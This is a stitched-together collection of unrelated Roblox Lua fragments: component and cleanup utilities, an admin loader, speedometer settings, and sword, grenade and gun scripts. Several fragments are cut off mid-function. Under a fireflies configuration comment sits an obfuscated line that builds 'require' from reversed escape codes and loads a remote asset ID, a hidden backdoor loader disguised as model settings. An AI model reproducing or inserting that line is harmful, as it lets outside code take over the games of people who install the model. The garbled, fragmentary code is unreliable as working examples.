TableUtil.FastRemove(self._objects, i)
break
end
end
if (#self._objects == 0 and self._lifecycle) then
self:_stopLifecycle()
end
end
function Component:GetAll()
return TableUtil.CopyShallow(self._objects)
end
function Component:GetFromInstance(instance)
return self._instancesToObjects[instance]
end
function Component:GetFromID(id)
for _,v in ipairs(self._objects) do
if (v._id == id) then
return v
end
end
return nil
end
function Component:Filter(filterFunc)
return TableUtil.Filter(self._objects, filterFunc)
end
function Component:WaitFor(instance, timeout)
local isName = (type(instance) == "string")
local function IsInstanceValid(obj)
return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance))
end
for _,obj in ipairs(self._objects) do
if (IsInstanceValid(obj)) then
return Promise.Resolve(obj)
end
end
local lastObj = nil
return Promise.FromEvent(self.Added, function(obj)
lastObj = obj
return IsInstanceValid(obj)
end):Then(function()
return lastObj
end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT)
end
function Component:Observe(instance, observer)
local janitor = Janitor.new()
local observeJanitor = Janitor.new()
janitor:Add(observeJanitor)
janitor:Add(self.Added:Connect(function(obj)
if (obj.Instance == instance) then
observer(obj, observeJanitor)
end
end))
janitor:Add(self.Removed:Connect(function(obj)
if (obj.Instance == instance) then
observeJanitor:Cleanup()
end
end))
for _,obj in ipairs(self._objects) do
if (obj.Instance == instance) then
task.spawn(observer, obj, observeJanitor)
break
end
end
return janitor
end
function Component:Destroy()
self._janitor:Destroy()
end
return Component
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 280 ,
spInc = 40 , -- Increment between labelled notches
},
}
|
--[[
This loads HD Admin into your game.
Require the 'HD Admin MainModule' by the HD Admin group for automatic updates.
You can view the HD Admin Main Module here:
https://www.roblox.com/library/3239236979/HD
--]]
|
local loaderFolder = script.Parent.Parent
local mainModule = require(3239236979)
mainModule:Initialize(loaderFolder)
|
--// Modules
|
local L_119_ = require(L_22_:WaitForChild("Utilities"))
local L_120_ = require(L_22_:WaitForChild("Spring"))
local L_121_ = require(L_22_:WaitForChild("Plugins"))
local L_122_ = require(L_22_:WaitForChild("easing"))
local L_123_ = L_119_.Fade
local L_124_ = L_119_.SpawnCam
local L_125_ = L_119_.FixCam
local L_126_ = L_119_.tweenFoV
local L_127_ = L_119_.tweenCam
local L_128_ = L_119_.tweenRoll
local L_129_ = L_119_.TweenJoint
local L_130_ = L_119_.Weld
|
--returns the wielding player of this tool
|
function getPlayer()
local char = Tool.Parent
return game:GetService("Players"):GetPlayerFromCharacter(Character)
end
function Toss(direction)
local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)
local spawnPos = Character.Head.Position
spawnPos = spawnPos + (direction * 5)
Tool.Handle.Transparency = 1
local Object = Tool.Handle:Clone()
Object.Parent = workspace
Object.Transparency = 1
Object.Swing.Pitch = math.random(90, 110)/100
Object.Swing:Play()
Object.CanCollide = true
Object.CFrame = Tool.Handle.CFrame
Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)
Object.Trail.Enabled = true
Object.Fuse:Play()
Object.Sparks.Enabled = true
local rand = 11.25
Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))
Object:SetNetworkOwner(getPlayer())
local ScriptClone = DamageScript:Clone()
ScriptClone.Parent = Object
ScriptClone.Disabled = false
local tag = Instance.new("ObjectValue")
tag.Value = getPlayer()
tag.Name = "killer"
tag.Parent = Object
Tool:Destroy()
end
script.Parent.Power.OnServerEvent:Connect(function(player, Power)
AttackVelocity = Power
end)
Remote.OnServerEvent:Connect(function(player, mousePosition)
if not AttackAble then return end
AttackAble = false
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
Remote:FireClient(getPlayer(), "PlayAnimation", "Animation")
end
local targetPos = mousePosition.p
local lookAt = (targetPos - Character.Head.Position).unit
Toss(lookAt)
LeftDown = true
end)
function onLeftUp()
LeftDown = false
end
Tool.Equipped:Connect(function()
Character = Tool.Parent
Humanoid = Character:FindFirstChildOfClass("Humanoid")
end)
Tool.Unequipped:Connect(function()
Character = nil
Humanoid = nil
end)
|
-- Private Methods
|
function init(self)
local label = self.Frame.Label
local container = self.Frame.RadioContainer
local function contentSizeUpdate()
local absSize = self.Frame.AbsoluteSize
local ratio = absSize.y / absSize.x
container.Size = UDim2.new(ratio, 0, 1, 0)
label.Size = UDim2.new(1 - ratio, -10, 1, 0)
label.Position = UDim2.new(ratio, 10, 0, 0)
end
contentSizeUpdate()
self._Maid:Mark(self.Frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate))
end
|
-- print("Wha " .. pose)
|
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
end
-- Tool Animation handling
local tool = getTool()
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- Get the local player's camera
|
local camera = game:GetService("Workspace").CurrentCamera
|
-- Number of bullets in a clip
|
local ClipSize = 250
|
-- Configurations:
-- Brightness: Set the brightness of the lights the fireflies have
-- Color: The color of the firefly
-- GlowSpeed: The amount of time spent in seconds to build or drop the strength of the light
-- GlowTime: The amount of average time the light is active
-- NowGlotTime: The amount of average time the light is inactive
-- GlowRange: The range of the light
-- FlyRange: The range a fly can fly away from the center
-- Amount: The amount of flies this spawner will keep having
--[[ Last synced 12/11/2020 06:19 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--The button
|
script.Parent.Button.ClickDetector.MouseClick:connect(function(click)
if not (on) then on = true--On
script.Parent.Cover1.Transparency = 1
script.Parent.Cover2.Transparency = 1
elseif (on) then on = false --Off
script.Parent.Cover1.Transparency = 0
script.Parent.Cover2.Transparency = 0
end
end)
|
-- Called when the katana(held by a player) comes in contact with
-- another humanoid object
|
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
--SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
local debounce = false
function onActivated()
if debounce then return end
debounce = true
damage = slash_damage
print("A")
while Tool.Enabled do wait() end -- necessary to avoid debouncing conflicts between this script and LocalKatanaScript!
attack()
while not Tool.Enabled do wait() end -- necessary to avoid debouncing conflicts between this script and LocalKatanaScript!
damage = nonslash_damage
print("B")
debounce = false
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
--[=[
Add a task to clean up. Tasks given to a maid will be cleaned when
maid[index] is set to a different value.
Task cleanup is such that if the task is an event, it is disconnected.
If it is an object, it is destroyed.
```
Maid[key] = (function) Adds a task to perform
Maid[key] = (event connection) Manages an event connection
Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up.
Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method
Maid[key] = nil Removes a named task.
```
@param index any
@param newTask MaidTask
]=]
|
function Maid:__newindex(index, newTask)
if Maid[index] ~= nil then
error(("Cannot use '%s' as a Maid key"):format(tostring(index)), 2)
end
local tasks = self._tasks
local oldTask = tasks[index]
if oldTask == newTask then
return
end
tasks[index] = newTask
if oldTask then
if type(oldTask) == "function" then
oldTask()
elseif typeof(oldTask) == "RBXScriptConnection" then
oldTask:Disconnect()
elseif oldTask.Destroy then
oldTask:Destroy()
end
end
end
|
----- TOOL DATA -----
-- How much damage a bullet does
|
local Damage = 14
|
-------------------------------------
|
local legs = nil
local torso2 = nil
local welds2 = {}
local bodyforce = nil
function tagHumanoid(humanoid)
local plr=game.Players:playerFromCharacter(sp.Parent)
if plr~=nil then
local tag=Instance.new("ObjectValue")
tag.Value=plr
tag.Name="creator"
tag.Parent=humanoid
delay(2,function()
if tag~=nil then
tag.Parent=nil
end
end)
end
end
function ReloadSequence()
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.02)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.04)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.06)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.08)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.1)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-102), math.rad(-15), 0.12)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-104), math.rad(-15), 0.14)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-106), math.rad(-15), 0.16)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-108), math.rad(-15), 0.18)
wait(.02)
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-110), math.rad(-15), 0.2)
wait(.02)
weld55.C1 = CFrame.new(-0.25, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.1, math.rad(-90))
wait(.02)
weld55.C1 = CFrame.new(-0.15, 1.3, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.2, math.rad(-90))
wait(.02)
weld55.C1 = CFrame.new(-0.15, 1.25, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.2, math.rad(-90))
wait(.02)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.2, math.rad(-90))
wait(.02)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.1, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.05, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.05, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.1, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.15, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.2, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.25, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.35, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.35, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.4, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.45, math.rad(-90))
wait(.03)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.5, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.45, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.4, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.3, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.2, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0.1, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), -0, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.1, math.rad(-90))
wait(.04)
weld55.C1 = CFrame.new(-0.15, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.2, math.rad(-90))
wait(.1)
weld55.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.075, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0.1)
wait(.1)
weld55.C1 = CFrame.new(-0.35, 0.8, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.15, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, -0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
wait(.1)
weld55.C1 = CFrame.new(-0.35, 0.6, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.225, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0)
wait(.1)
weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.3, math.rad(-90))
weld33.C1 = CFrame.new(-0.75, -0.1, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-80), math.rad(-15), 0)
wait(.1)
weld55.C1 = CFrame.new(-0.35, 0.3, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.375, math.rad(-90))
wait(.3)
weld55.C1 = CFrame.new(-0.35, 0.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(300), 0.3, math.rad(-90))
wait(.08)
weld33.C1 = CFrame.new(-0.75, -0.25, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-85), math.rad(-15), 0)
weld55.C1 = CFrame.new(-0.35, 0.7, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(295), 0.15, math.rad(-90))
wait(.08)
weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end
function reload(mouse)
reloading=true
mouse.Icon=ReloadCursor
ReloadSequence()
while sp.Ammo.Value<ClipSize and reloading and enabled do
wait()
if reloading then
sp.Ammo.Value= 30
check()
else
break
end
end
check()
mouse.Icon=Cursors[1]
reloading=false
end
function onKeyDown(key,mouse)
key=key:lower()
if key=="r" and not reloading then
Tool.Handle.Reload:Play()
reload(mouse)
elseif key == "f" and not reloading then
if Tool.FireMode.Value <= 3 then
Tool.FireMode.Value = Tool.FireMode.Value + 1
else
Tool.FireMode.Value = 1
end
elseif key == "g" and not reloading then
if Tool.Running.Value == false and not a and Tool.ZoomedIn.Value == false then
sp.Parent.Humanoid.WalkSpeed = 21
Tool.Running.Value = true
weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.1, math.rad(-90))
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-15), 0)
wait(0.07)
weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.2, math.rad(-90)) -- Left Arm Movement(Up/Down,Forwards/Backwards,Left/Right) Rotation(Left/Right,Up/Down,Twist)
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-60), math.rad(-15), 0) -- Right Arm Movement(Left/Right,Forwards/Backwards,Up/Down) Rotation(Up/Down,Left/Right,Twist)
elseif Tool.Running.Value == true then
Tool.Running.Value = false
sp.Parent.Humanoid.WalkSpeed = 16
weld1.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), -0.1, math.rad(-90))
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-75), math.rad(-15), 0)
wait(0.07)
weld1.C1 = CFrame.new(-0.35, 1.4, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end
end
end
function movecframe(p,pos)
p.Parent=game.Lighting
p.Position=pos
p.Parent=game.Workspace
end
function fire(aim)
sp.Handle.Fire:Play()
barrel_1.Flash.Flash.Visible = true
weld1.C1 = CFrame.new(-0.35, 1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld2.C1 = CFrame.new(-0.75, -0.6, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
wait(0.02)
weld1.C1 = CFrame.new(-0.35, 1.1, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld2.C1 = CFrame.new(-0.75, -0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
wait(0.02)
weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
barrel_1.Flash.Flash.Visible = false
Tool.Running.Value = false
if Tool.ZoomedIn.Value == false then
sp.Parent.Humanoid.WalkSpeed = 16
end
t=r.Stepped:wait()
last6=last5
last5=last4
last4=last3
last3=last2
last2=last
last=t
local totalDist=0
Lengthdist=-RayLength/.5
startpoint=barrel_1.CFrame.p
startpoint2 = barrel_2.CFrame.p
if double then
if doublemode == 1 then
if UseDouble then
startpoint=barrel_2.CFrame.p
else
startpoint=barrel_1.CFrame.p
end
end
end
local dir=(aim)-startpoint
local dir2 = (aim)-startpoint2
dir=dir.unit
dir2 = dir2.unit
local cfrm=CFrame.new(startpoint, dir+startpoint)
local cfrm2 = CFrame.new(startpoint2,dir2+startpoint2)
local hit,pos=raycursive(startpoint, cfrm.lookVector * 999)
if hit~=nil then
if hit.Parent.className == "Hat" then
hit = hit.Parent
elseif hit.Parent.className == "Tool" then
hit = hit.Parent
end
local humanoid=hit.Parent:FindFirstChild("Humanoid")
if humanoid~=nil and hit.Parent:findFirstChild("Downed") == nil then
BaseDamage = 30
local damage=math.random(BaseDamage-(BaseDamage*.25),BaseDamage+(BaseDamage*.25))
if hit.Name=="Head" then
damage=damage*2
elseif hit.Name=="Torso" then
damage=damage*2
else
damage=damage
end
if humanoid.Health>0 then
local eplr=game.Players:playerFromCharacter(humanoid.Parent)
local plr=game.Players:playerFromCharacter(sp.Parent)
if eplr~=nil and plr~=nil then
if eplr.TeamColor~=plr.TeamColor or eplr.Neutral or plr.Neutral then
Mouse.Icon = "http://www.roblox.com/asset/?id=49170312"
tagHumanoid(humanoid)
humanoid:TakeDamage(damage)
end
else
Mouse.Icon = "http://www.roblox.com/asset/?id=49170312"
tagHumanoid(humanoid)
humanoid:TakeDamage(damage)
end
end
end
if (hit.Parent:findFirstChild("Hit")) then
hit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage/3
end
if hit.Parent.Parent.Name == "HumVee" then
hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage
Mouse.Icon = "http://www.roblox.com/asset/?id=49170312"
elseif hit.Parent.Name == "HumVee" then
hit.Parent.Health.Value = hit.Parent.Health.Value - BaseDamage
Mouse.Icon = "http://www.roblox.com/asset/?id=49170312"
elseif hit.Parent.Name == "Body" then
hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage
elseif hit.Parent.Name == "Part" then
hit.Parent.Parent.Health.Value = hit.Parent.Parent.Health.Value - BaseDamage
elseif hit.Parent.Name == "Lights" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage
elseif hit.Parent.Name == "Rotors" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage
elseif hit.Parent.Name == "Seats" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - BaseDamage
elseif hit.Parent.Name == "Cockpit" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "Front" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "Middle" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "Tail" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "TailRotor" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "Rotor" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
elseif hit.Parent.Name == "NavLights" then
hit.Parent.Parent.Parent.Health.Value = hit.Parent.Parent.Parent.Health.Value - damage
end
distance=(startpoint-pos).magnitude
distance2 = (startpoint2-pos).magnitude
else
end
local deb=game:FindFirstChild("Debris")
if deb==nil then
local debris=Instance.new("Debris")
debris.Parent=game
end
check()
end
function onButton1Up(mouse)
down=false
end
function onButton1Down(mouse)
h=sp.Parent:FindFirstChild("Humanoid")
if not enabled or reloading or down or h==nil then
return
end
if sp.Ammo.Value>0 and h.Health>0 and h.Jump == false then
--[[if sp.Ammo.Value<=0 then
if not reloading then
reload(mouse)
end
return
end]]
down=true
enabled=false
while down and h.Jump == false and h.Health>0 do
if sp.Ammo.Value<=0 then
break
end
if sp.FireMode.Value == 1 then
if Tool.Pose.Value == 1 then
Tool.Accuracy.Value = 0.01
elseif Tool.Pose.Value == 2 then
Tool.Accuracy.Value = 0.005
elseif Tool.Pose.Value == 3 then
Tool.Accuracy.Value = 0.0025
end
if Tool.ZoomedIn.Value == true then
Tool.Accuracy.Value = Tool.Accuracy.Value - 0.25
end
automatic = true
burst= false
shot = false
elseif sp.FireMode.Value == 2 then
if Tool.Pose.Value == 1 then
Tool.Accuracy.Value = 0.0025
elseif Tool.Pose.Value == 2 then
Tool.Accuracy.Value = 0.00125
elseif Tool.Pose.Value == 3 then
Tool.Accuracy.Value = 0.00625
end
if Tool.ZoomedIn.Value == true then
Tool.Accuracy.Value = Tool.Accuracy.Value - 0.25
end
burst = true
automatic = false
shot = false
elseif sp.FireMode.Value == 3 then
if Tool.Pose.Value == 1 then
Tool.Accuracy.Value = 0.00625
elseif Tool.Pose.Value == 2 then
Tool.Accuracy.Value = 0.0003125
elseif Tool.Pose.Value == 3 then
Tool.Accuracy.Value = 0.00015625
end
if Tool.ZoomedIn.Value == true then
Tool.Accuracy.Value = 0
end
shot = true
burst = false
automatic = false
elseif sp.FireMode.Value >= 4 then
sp.FireMode.Value = 1
end
if burst then
local startpoint=barrel_1.CFrame.p
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value))
fire(mouse.Hit.p+rndm)
sp.Ammo.Value=sp.Ammo.Value-1
if sp.Ammo.Value<=0 then
break
end
wait(.02)
local startpoint=barrel_1.CFrame.p
local mag2=((mouse.Hit.p+rndm)-startpoint).magnitude
local rndm2=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value))
fire(mouse.Hit.p+rndm+rndm2)
sp.Ammo.Value=sp.Ammo.Value-1
if sp.Ammo.Value<=0 then
break
end
wait(.02)
fire(mouse.Hit.p+rndm+rndm2+rndm2)
sp.Ammo.Value=sp.Ammo.Value-1
elseif shot then
sp.Ammo.Value=sp.Ammo.Value-1
local startpoint=barrel_1.CFrame.p
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value))
fire(mouse.Hit.p+rndm)
wait(Firerate)
elseif automatic then
sp.Ammo.Value=sp.Ammo.Value-1
local startpoint=barrel_1.CFrame.p
local mag=(mouse.Hit.p-startpoint).magnitude
local rndm=Vector3.new(math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value), math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value ),math.random(-Tool.Accuracy.Value,Tool.Accuracy.Value))
fire(mouse.Hit.p+rndm)
end
wait(Firerate)
if not automatic then
break
end
end
enabled=true
else
wait()
end
end
function onEquippedLocal(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
falsearm1 = arms[1]:clone()
local mesh1 = Instance.new("BlockMesh")
mesh1.Scale = Vector3.new(.9,.9,.9)
mesh1.Parent = falsearm1
local armweld1 = Instance.new("Weld")
falsearm1.BrickColor = BrickColor.new(26)
falsearm1.Parent = Tool
armweld1.Parent = falsearm1
armweld1.Part0 = falsearm1
armweld1.Part1 = arms[1]
falsearm2 = arms[2]:clone()
local mesh2 = Instance.new("BlockMesh")
mesh2.Scale = Vector3.new(.9,.9,.9)
mesh2.Parent = falsearm2
local armweld2 = Instance.new("Weld")
falsearm2.BrickColor = BrickColor.new(26)
falsearm2.Parent = Tool
armweld2.Parent = falsearm2
armweld2.Part0 = falsearm2
armweld2.Part1 = arms[2]
weld1 = Instance.new("Weld") -- left arm
weld55 = weld1
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(-0.35, 1.2, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
welds[1] = weld1
weld2 = Instance.new("Weld") -- right arm
weld33 = weld2
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.75, -0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
welds[2] = weld2
end
else
end
else
end
if mouse==nil then
print("Mouse not found")
return
end
Mouse = mouse
